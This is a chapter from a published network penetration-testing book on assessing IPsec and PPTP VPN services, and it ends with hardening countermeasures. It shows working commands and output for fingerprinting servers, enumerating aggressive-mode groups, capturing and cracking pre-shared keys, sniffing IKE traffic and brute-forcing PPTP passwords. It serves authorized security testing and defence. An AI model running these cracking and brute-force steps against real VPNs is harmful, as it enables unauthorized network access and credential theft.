Table of Contents for
Network Security Assessment, 3rd Edition

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Network Security Assessment, 3rd Edition by Chris McNab Published by O'Reilly Media, Inc., 2016
  1. nav
  2. Cover
  3. Network Security Assessment
  4. Network Security Assessment
  5. section
  6. Preface
  7. 1. Introduction to Network Security Assessment
  8. 2. Assessment Workflow and Tools
  9. 3. Vulnerabilities and Adversaries
  10. 4. Internet Network Discovery
  11. 5. Local Network Discovery
  12. 6. IP Network Scanning
  13. 7. Assessing Common Network Services
  14. 8. Assessing Microsoft Services
  15. 9. Assessing Mail Services
  16. 10. Assessing VPN Services
  17. 11. Assessing TLS Services
  18. 12. Web Application Architecture
  19. 13. Assessing Web Servers
  20. 14. Assessing Web Application Frameworks
  21. 15. Assessing Data Stores
  22. A. Common Ports and Message Types
  23. B. Sources of Vulnerability Information
  24. C. Unsafe TLS Cipher Suites
  25. Glossary of Terms
  26. Index
  27. About the Author
  28. Colophon

Chapter 10. Assessing VPN Services

VPN services provide access to remote users and branch offices through IPsec, PPTP, and TLS. Service endpoints can be abused to obtain sensitive data, gain network access, and impact availability through denial of service. This chapter focuses on IPsec and PPTP protocols. TLS is increasingly used to provide secure network access, as described in Chapter 11.

IPsec

IP is an inherently unsafe protocol, lacking confidentiality, integrity, and authentication. When implemented correctly, IPsec negates the following attack classes:

  • Network sniffing

  • Source forgery (IP spoofing)

  • Modification of data within packets

  • Replay attacks

Internet Key Exchange (IKE)1 is used to authenticate IPsec peers and set VPN parameters. A security association (SA) is established, defining the IPsec protocols used when sending material, plus cryptographic algorithms, keys, and their expiry (known also as lifetime). The process is summarized in Figure 10-1.

Setup and use of an IPsec tunnel with IKE
Figure 10-1. Setup and use of an IPsec tunnel with IKE

Packet Format

Mutually agreed IPsec SA fields define the security features used between peers. Figure 10-2 shows an example IP datagram using IPsec in tunnel mode. The Authentication Header (AH)2 provides integrity and data origin authentication with an HMAC of the IP datagram. The Encapsulating Security Payload (ESP)3 encapsulates and encrypts IP datagrams, providing confidentiality.

IPsec datagram format (tunnel mode)
Figure 10-2. IPsec datagram format (tunnel mode)

ISAKMP, IKE, and IKEv2

The Internet Security Association and Key Management Protocol (ISAKMP) service supports IKE and is exposed via UDP port 500. Demonstrated by Figure 10-1, IKE involves a two-phase process to define an IPsec SA: the first phase authenticates the peers and establishes an ISAKMP SA (used to protect phase two messages), and the second establishes an IPsec SA (used to encrypt data). In some implementations, a mechanism known as XAUTH introduces an additional phase to support user authentication.

Exploitable flaws within IKE are addressed by the IKEv2 standard,4 which condenses the two phases a single set of messages. Figure 10-3 demonstrates the relationship between IKE, IKEv2, XAUTH, AH, and ESP.

IPsec protocol components
Figure 10-3. IPsec protocol components

IKE Assessment

Roy Hills’ ike-scan5 supports IKE but has limited IKEv2 support at the time of writing. Example 10-1 demonstrates the utility identifying an IPsec VPN server. The -2 flag initiates an IKEv2 handshake in the second case, with a negative result.

Example 10-1. Identifying IKE endpoints
root@kali:~# ike-scan -q 80.1.128.0/30
Starting ike-scan 1.9 with 4 hosts (http://www.nta-monitor.com/tools/ike-scan/)
80.1.128.0    Notify message 14 (NO-PROPOSAL-CHOSEN)
80.1.128.1    Notify message 14 (NO-PROPOSAL-CHOSEN)

Ending ike-scan 1.9: 4 hosts scanned in 2.607 seconds (1.53 hosts/sec).
0 returned handshake; 2 returned notify

root@kali:~# ike-scan -q -2 80.1.128.0/30
Starting ike-scan 1.9 with 4 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9: 4 hosts scanned in 2.570 seconds (1.56 hosts/sec).
0 returned handshake; 0 returned notify

This technique will identify most IPsec servers, but can fail if the IKE service honors only requests from specific addresses or expects certain transform sets. An IKE transform set defines the encryption algorithm, integrity algorithm, authentication mode, and Diffie-Hellman (DH) group used during key exchange. Upon identifying accessible IKE services, you can probe them further by using ike-scan to understand their configuration and potential weaknesses.

IKE service fingerprinting

The ike-scan utility identifies IPsec implementations through analysis of the vendor ID value and IKE backoff pattern, as demonstrated by Example 10-2. Use the -M flag to split the output across multiple lines and -o to display implementation guesses.

Example 10-2. Fingerprinting VPN servers with ike-scan
root@kali:~# ike-scan -M -o 10.0.0.11 10.0.0.47 10.0.0.254
Starting ike-scan 1.9 with 3 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.11   Main Mode Handshake returned
            HDR=(CKY-R=21b6f96306fe758f)
            SA=(Enc=DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds 
            LifeDuration=28800)
10.0.0.47   Main Mode Handshake returned
            HDR=(CKY-R=a997321d37e9afa2)
            SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds 
            LifeDuration(4)=0x00007080)
            VID=dd180d21e5ce655a768ba32211dd8ad9 (strongSwan 4.0.5)
            VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
10.0.0.254  Main Mode Handshake returned
            HDR=(CKY-R=324e3633e6174897)
            SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds 
            LifeDuration=28800)
            VID=166f932d55eb64d8e4df4fd37e2313f0d0fd84510000000000000000 
            (Netscreen-15)
            VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
            VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify)

IKE Backoff Patterns:

IP Address  No.     Recv time               Delta Time
10.0.0.11   1       1170494449.831231       0.000000
10.0.0.11   2       1170494454.826044       4.994813
10.0.0.11   3       1170494459.825283       4.999239
10.0.0.11   4       1170494464.824547       4.999264
10.0.0.11   5       1170494469.823799       4.999252
10.0.0.11   6       1170494474.823060       4.999261
10.0.0.11   Implementation guess: Cisco PIX >= 6.3

10.0.0.47   1       1171468498.860140       0.000000
10.0.0.47   2       1171468508.869134       10.008994
10.0.0.47   3       1171468528.888169       20.019035
10.0.0.47   Implementation guess: Linux FreeS/WAN, OpenSwan, strongSwan

10.0.0.254  1       1170083575.291442       0.000000
10.0.0.254  2       1170083578.843019       3.551577
10.0.0.254  3       1170083582.842737       3.999718
10.0.0.254  4       1170083586.843883       4.001146
10.0.0.254  5       1170083590.843073       3.999190
10.0.0.254  6       1170083594.842743       3.999670
10.0.0.254  7       1170083598.843378       4.000635
10.0.0.254  8       1170083602.843049       3.999671
10.0.0.254  9       1170083606.843363       4.000314
10.0.0.254  10      1170083610.843924       4.000561
10.0.0.254  11      1170083614.843497       3.999573
10.0.0.254  12      1170083618.843629       4.000132
10.0.0.254  Implementation guess: Juniper-Netscreen

If no response is returned, specific transform fields are likely required.

Supported transform enumeration

I use ike-scan in Example 10-3 to connect with a particular transform set (-a 5,1,1,5), which specifies 3DES encryption, MD5 integrity checking, pre-shared key (PSK) authentication, and DH group 5 key exchange.

Example 10-3. Running ike-scan with custom transform attributes
root@kali:~# ike-scan -M –a 5,1,1,5 -o 10.0.0.20
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.20   Main Mode Handshake returned
            HDR=(CKY-R=871c8aba1cf5a0d7)
            SA=(SPI=699f1a94e2ac65f8 Enc=3DES Hash=MD5 Auth=PSK Group=5:modp1536 
            LifeType=Seconds LifeDuration(4)=0x00007080)
            VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
            VID=810fa565f8ab14369105d706fbd57279

IKE Backoff Patterns:

IP Address  No.     Recv time               Delta Time
10.0.0.20   1       1171749705.664218       0.000000
10.0.0.20   2       1171749706.175947       0.511729
10.0.0.20   3       1171749707.190895       1.014948
10.0.0.20   4       1171749709.192046       2.001151
10.0.0.20   5       1171749713.210723       4.018677
10.0.0.20   6       1171749721.211048       8.000325
10.0.0.20   Implementation guess: Sun Solaris

Through ike-scan, you can reverse engineer the configuration and identify weaknesses (e.g., flawed encryption algorithms and authentication methods). IKE transform fields and common values are as follows:

Encryption algorithms
1 (DES), 5 (3DES), 7/128 (AES-128), and 7/256 (AES-256)
Integrity algorithms
1 (MD5) and 2 (SHA-1), 4 (SHA-256), 5 (SHA-384), and 6 (SHA-512)
Authentication methods
1 (PSK), 3 (RSA), and 65001 (XAUTH)
DH groups
1 (768-bit), 2 (1,024-bit), and 5 (1,536-bit), 14 (2,048-bit), and 15 (3,072-bit)

Example 10-4 demonstrates ike-scan used against a VPN server that supports 3DES encryption, SHA-1 integrity checking, PSK authentication, and key exchange using DH group 2. The second command demonstrates that the server does not support weak DES encryption and MD5 integrity checking.

Example 10-4. Enumerating supported transforms by using ike-scan
root@kali:~# ike-scan -M –a 5,2,1,2 10.0.0.254
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.254  Main Mode Handshake returned
            HDR=(CKY-R=ce5d69c11bae3655)
            SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds 
            LifeDuration=28800)
            VID=166f932d55eb64d8e4df4fd37e2313f0d0fd84510000000000000000 
            (Netscreen-15)
            VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
            VID=4485152d18b6bbcd0be8a8469579ddcc (draft-ietf-ipsec-nat-t-ike-00)
            VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
            VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify)

root@kali:~# ike-scan -M –a 1,1,1,2 10.0.0.254
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.254  Notify message 14 (NO-PROPOSAL-CHOSEN)
            HDR=(CKY-R=4e3f6b5892e26728)

Exploitable IPsec Weaknesses

IPsec implementations are vulnerable to the following:

  • Passive decryption of data if a weak DH group is used

  • Unintended effects via exploitation of bugs (e.g., remote code execution)

  • Active and passive enumeration of aggressive mode identities6

  • Exposure and cracking of preshared key (PSK) values

  • Obtaining XAUTH credentials once a PSK is known

Both IKE and IKEv2 use DH for key exchange. Generation of prime numbers with special properties is computationally burdensome, and so IPsec peers support fixed, standardized parameters, known as groups. These “safe” parameters were published in 1998 and are used by other applications, including SSH, Tor, and OTR.

Cisco recommends avoidance of DH groups 1 and 2 in particular,7 stemming from a research paper.8 The paper’s authors describe how it is likely that nation states can decrypt IPsec sessions negotiated using weak groups via discrete log precomputation. The hundreds of millions of dollars spent performing precomputation are amortized through the real-time decryption of any session using a weak group (1,024-bit or smaller).

Significant flaws within common IPsec implementations are listed in Table 10-1. Two vulnerability classes that I’ve omitted for the sake of brevity are denial of service conditions and authentication flaws leading to MITM (requiring network access).

Table 10-1. Exploitable flaws in IPsec implementations
CVE reference Implementation Notes
– Cisco PIX 6.3(5) and prior Information leak resulting in PSK and RSA key exposure via IKEa
CVE-2016-1287 Cisco ASA and others A severe code execution flaw affecting Cisco’s IKE implementationb
CVE-2014-2338 strongSwan 5.1.2 and prior IKEv2 authentication bypass

CVE-2013-1194

CVE-2010-4354

 Cisco ASA and others Aggressive mode IKE group enumeration vulnerability
CVE-2012-5032 Cisco IOS 15.1 and prior The Flex-VPN load-balancing feature supports the forwarding of traffic to an arbitrary destination
CVE-2011-1547 NetBSD 5.1 and prior Multiple IPsec stack overflows and vulnerabilities within the kernel, allowing remote attackers to corrupt memory with unintended consequences
CVE-2011-0935 Cisco IOS 15.0 and 15.1 PKI caching flaws resulting in bypass of intended access restrictions through use of an old key
CVE-2010-4685 Cisco IOS 15.0
CVE-2010-2628

Swan 4.4.0

Swan 4.3.0 to 4.3.6

 Buffer overflow resulting in arbitrary code execution via a crafted identity

a Joseph Cox, “Research Grabs VPN Password with Tool from NSA Dump”, Motherboard, August 19, 2016.

b David Barksdale, Jordan Gruskovnjak, and Alex Wheeler, “Execute My Packet”, Exodus Intelligence Blog, February 10, 2016.

Aggressive mode IKE group enumeration

Many IPsec implementations support aggressive mode IKE and PSK authentication. Example 10-5 demonstrates how ike-scan enumerates a valid identity (known as group) based on the server response. In this case, the testvpn group is valid.

Example 10-5. Aggressive mode group enumeration with ike-scan
root@kali:~# ike-scan –M –A –n nonexist123 10.0.0.254
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9: 1 hosts scanned in 2.480 seconds (0.40 hosts/sec).
0 returned handshake; 0 returned notify

root@kali:~# ike-scan –M –A –n testvpn 10.0.0.254
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.254 Aggressive Mode Handshake returned
        HDR=(CKY-R=c09155529199f8a5)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=166f932d55eb64d8e4df4fd37e2313f0d0fd84510000000000000000 (Netscreen-15)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify)
        KeyExchange(128 bytes)
        Nonce(20 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.0.0.254)
        Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.103 seconds (9.75 hosts/sec).
1 returned handshake; 0 returned notify

Group enumeration is automated upon installing ikeforce.py9 within Kali Linux, as demonstrated by Example 10-6. The utility also tests for the Cisco ASA aggressive mode IKE group enumeration flaw listed in Table 10-1.

Example 10-6. Aggressive mode IKE group brute-force
root@kali:~# pip install pyip
root@kali:~# git clone https://github.com/SpiderLabs/ikeforce.git
root@kali:~# cd ikeforce/
root@kali:~/ikeforce# ./ikeforce.py 10.0.0.254 –e –w wordlists/groupnames.dic
[+]Program started in Enumeration Mode
[+]Checking for possible enumeration techniques
Analyzing initial response. Please wait, this can take up to 30 seconds...

[+]Cisco Device detected
[-]Not vulnerable to DPD group name enumeration
[+]Device is vulnerable to multuple response group name enumeration
Restarting...

[+]Using New Cisco Group Enumeration Technique
Press return for a status update

[*]Correct ID Found: testvpn

Group values are also obtained by network sniffing, as details are sent in the clear during an aggressive mode IKE exchange. Example 10-7 demonstrates tcpdump used to passively obtain an initiator’s identity. Groups can be email addresses, usernames, or arbitrary labels (e.g., corp_vpn).

Example 10-7. Sniffing aggressive mode traffic to discover the group
root@kali:~# tcpdump -n -i eth0 -s 0 -X udp port 500
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
13:25:24.761714 IP 192.168.124.3.500 > 192.168.124.155.500: isakmp: phase 1 I agg
        0x0000:  4500 0194 0000 4000 4011 bf69 c0a8 7c03  E.....@.@..i..|.
        0x0010:  c0a8 7c9b 01f4 01f4 0180 8f25 20fc 2bcf  ..|........%..+.
        0x0020:  17ba b816 0000 0000 0000 0000 0110 0400  ................
        0x0030:  0000 0000 0000 0178 0400 00a4 0000 0001  .......x........
        0x0040:  0000 0001 0000 0098 0101 0004 0300 0024  ...............$
        0x0050:  0101 0000 8001 0005 8002 0002 8003 0001  ................
        0x0060:  8004 0002 800b 0001 000c 0004 0000 7080  ..............p.
        0x0070:  0300 0024 0201 0000 8001 0005 8002 0001  ...$............
        0x0080:  8003 0001 8004 0002 800b 0001 000c 0004  ................
        0x0090:  0000 7080 0300 0024 0301 0000 8001 0001  ..p....$........
        0x00a0:  8002 0002 8003 0001 8004 0002 800b 0001  ................
        0x00b0:  000c 0004 0000 7080 0000 0024 0401 0000  ......p....$....
        0x00c0:  8001 0001 8002 0001 8003 0001 8004 0002  ................
        0x00d0:  800b 0001 000c 0004 0000 7080 0a00 0084  ..........p.....
        0x00e0:  35a0 fea9 6619 87b4 5160 802e bb9e 33e4  5...f...Q`....3.
        0x00f0:  5e09 87fe a9e3 40de cb8d e376 bc85 5a55  ^.....@....v..ZU
        0x0100:  32b8 37ca 7302 01eb 5014 1024 2a5b 00d9  2.7.s...P..$*[..
        0x0110:  00b9 7e16 11dd 5f2f 0b67 0046 214c 37c2  ..~..._/.g.F!L7.
        0x0120:  a486 4a24 d73f d393 b99e 21b0 7c47 fd8a  ..J$.?....!.|G..
        0x0130:  5427 d7c1 1258 954c 2314 d1cb c824 c0d8  T'...X.L#....$..
        0x0140:  3efd dc84 176c f8a2 7c57 97ef 24b7 3f84  >....l..|W..$.?.
        0x0150:  8de7 7590 400b 7ac0 ece5 ffc0 4b5a 994a  ..u.@.z.....KZ.J
        0x0160:  0500 0018 d415 b54b 1884 9dec 0dea 762a  .......K......v*
        0x0170:  5cdb ce04 278f 31f8 0000 001c 0311 01f4  \...'.1.........
        0x0180:  6368 7269 7340 6578 616d 706c 652e 6f72  chris@example.or
        0x0190:  670a                                     g

Aggressive Mode IKE PSK Cracking

Example 10-8 demonstrates ike-scan used to obtain a PSK hash from an endpoint supporting aggressive mode. A valid group is often required (provided via the -n argument). In this case, the PSK hash is saved to hash.txt and attacked by using psk-crack. You can find further discussion of the vulnerability in the Trustwave SpiderLabs Blog.10

Example 10-8. Obtaining and cracking an aggressive mode preshared key
root@kali:~# ike-scan –M –A –n test_group -Phash.txt 10.0.0.252
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.252 Aggressive Mode Handshake returned
        HDR=(CKY-R=c09155529199f8a5)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=166f932d55eb64d8e4df4fd37e2313f0d0fd84510000000000000000 (Netscreen-15)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify)
        KeyExchange(128 bytes)
        Nonce(20 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.0.0.252)
        Hash(20 bytes)

root@kali:~# psk-crack hash.txt
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "abc123" matches SHA1 hash 70263a01cba79f34fa5c52589dc4a123cbfe24d4
Ending psk-crack: 10615 iterations in 0.166 seconds (63810.86 iterations/sec)

Attacking XAUTH

Most implementations use aggressive mode IKE with a PSK to perform group authentication, and XAUTH to provide additional user authentication (via Microsoft Active Directory, RADIUS, or similar). Within IKEv2, EAP replaces XAUTH to authenticate users.

IPsec servers supporting XAUTH return a particular VID value when probed, as shown in Example 10-9. In this case, we initiate an aggressive mode handshake using a valid group (vpntest).

Example 10-9. Enumerating XAUTH support
root@kali:~# ike-scan –M –A –n vpntest 10.0.0.250
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.250 Aggressive Mode Handshake returned
        SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(20 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.0.0.250)
        Hash(16 bytes)
        VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection)
        VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
        VID=1f07f70eaa6514d3b0fa96542a500306 (Cisco VPN Concentrator)

The XAUTH mechanism relies on the strength of the PSK (group secret), leaving it susceptible to a MITM attack11 and brute-force password grinding. Armed with a valid group name and secret, you can do the following:

  • Establish a fake IKE service and harvest user credentials by using fiked12

  • Brute-force XAUTH user passwords by using ikeforce.py13

Authenticating with an IPsec VPN

VPNC in Kali Linux is used to establish authenticated IPsec tunnels. Configuration profiles exist under /etc/vpnc/ and are called from the command line by using vpnc, as demonstrated by Example 10-10. Through this new interface (tun0) we can send traffic over the VPN.

Example 10-10. IPsec VPN authentication from Kali Linux
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00
          inet addr:10.100.0.5  P-t-P:10.100.0.5  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1412  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

PPTP

Commonly used to provide remote access to mobile devices, Point-to-Point Tunneling Protocol (PPTP)14 uses TCP port 1723 for key exchange and IP protocol 47 (GRE)15 to encrypt data between peers. Due to protocol complexity and reliance on MS-CHAP for authentication, PPTP is vulnerable to attack, as described by Bruce Schneier16 and exploited by Moxie Marlinspike’s chapcrack.17

Example 10-11 demonstrates Nmap used to fingerprint three exposed PPTP services, revealing hostname, vendor, and firmware information where available.

Example 10-11. Fingerprinting PPTP services via Nmap
root@kali:~# nmap –Pn -sSV -p1723 76.111.15.66 130.180.60.102 101.53.13.182

Starting Nmap 6.49BETA4 (https://nmap.org) at 2016-04-19 03:17 EDT
Nmap scan report for 76.111.15.66
PORT     STATE SERVICE VERSION
1723/tcp open  pptp    Mac OS X, Apple Computer, Inc (Firmware: 1)
Service Info: Host: macxserver.cedarhouse.info

Nmap scan report for 130.180.60.102
PORT     STATE SERVICE VERSION
1723/tcp open  pptp    Microsoft (Firmware: 3790)

Nmap scan report for 101.53.13.182
PORT     STATE SERVICE VERSION
1723/tcp open  pptp    Fortinet pptp (Firmware: 1)
Service Info: Host: FG100D3G13820428

The thc-pptp-bruter utility within Kali Linux supports brute-force password grinding via PPTP, as demonstrated by Example 10-12 (with a username of chris). Use the -n and -l options to adjust the number of parallel attempts.

Example 10-12. PPTP server brute-force password grinding
root@kali:~# cat crackdict.txt | thc-pptp-bruter –u chris 192.168.0.5
Hostname 'WEBSERV', Vendor 'Microsoft Windows NT', Firmware: 2195
5 passwords tested in 0h 00m 00s (5.00 5.00 c/s)
9 passwords tested in 0h 00m 02s (1.82 4.50 c/s)
Password is '!asdfgh'

VPN Testing Recap

Tactics to test IPsec and PPTP services include the following:

Service fingerprinting and software evaluation
Fingerprint available services to identify software defects that lead to unintended consequences (e.g., information leak, code execution, or denial of service). Both IPsec and PPTP services may leak hostname and firmware details that prove useful elsewhere.
Identifying cryptographic weaknesses
DH group 1 and group 2 are vulnerable to attack; however, exploitation requires network access to obtain key exchange messages and ciphertext. If MD5 or SHA-1 are used for integrity checking, material may also be spoofed with unintended consequences.
Exploitation of aggressive mode IKE
Support for aggressive mode is exploited both passively and actively to obtain valid group and PSK values, and in turn compromise XAUTH credentials (if used) that can be used to gain authenticated access.
Brute-force password grinding
Weak PPTP and XAUTH user passwords are easily obtained via brute-force. Review of VPN authentication logs in many environments is an afterthought, and so this vector can be particularly useful.

VPN Services Countermeasures

You should consider the following countermeasures when hardening VPN services:

  • Ensure that VPN servers are maintained and patched up to date to mitigate attacks affecting confidentiality, integrity, and availability (all of which are critical to VPN operation).

  • Disable support for weak authentication methods and encryption algorithms. Don’t rely on client preferences or settings. In particular, you should disable aggressive mode IKE, DES encryption, MD5 and SHA-1 integrity checking, and enforce both AH and ESP features (providing authentication and confidentiality).

  • Favor IKEv2 and enforce at minimum DH group 14 (2,048-bit) for safe key exchange. IKE and small DH groups are vulnerable to attack, resulting in compromise of encrypted data.

  • Use digital certificates to negate reliance on pre-shared keys and provide device authentication. Microsoft Active Directory Certificate Services in particular supports provision of computer certificates.

  • Enforce multifactor authentication (MFA) for user accounts and consider third-party platforms such as Duo Security and Okta. One-time password (OTP) mechanisms are easy to set up in-house also (e.g., OpenVPN Access Server and Google Authenticator18).

  • Filter ingress VPN traffic to limit network access in the event of a compromise. Consider use of bastion hosts and other choke points within your network to provide defense in depth.

  • Audit and review VPN authentication successes and failures to identify password grinding activity and compromised user credentials (e.g., logging-in from disparate geographic locations).

  • Regularly audit authorized VPN users to identify rogue accounts. Attackers persist within large environments by adding new accounts upon compromising Active Directory, RADIUS, LDAP, and other authentication providers.

1 See RFC 2409.

2 See RFC 4302.

3 See RFC 4303.

4 See RFC 7296.

5 See ike-scan on GitHub.

6 See “IPSec VPN Username Enumeration Vulnerability” at Juniper Networks.

7 See “Next Generation Encryption” on Cisco.com.

8 Adrian David et al., “Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice”, proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security, Denver, CO, October 12–16, 2015.

9 See ikeforce.py on GitHub.

10 Daniel Turner, “Cracking IKE Mission: Improbable (Part 1)”, Trustwave SpiderLabs Blog, March 27, 2013.

11 John Pliam, “Authentication Vulnerabilities in IKE and Xauth with Weak Pre-Shared Secrets”, October 2, 1999.

12 Daniel Roethlisberger, “FakeIKEd”, Rö’s Wiki, May 13, 2012.

13 Dan Turner, “IKEForce Brute”, Vimeo video, posted September 19, 2014.

14 See RFC 2637.

15 See RFC 2784.

16 Bruce Schneier, “Analysis of Microsoft PPTP Version 2”, Schneier on Security.

17 See chapcrack on GitHub.

18 See “Google Authenticator Two-Step Authentication” on OpenVPN.net.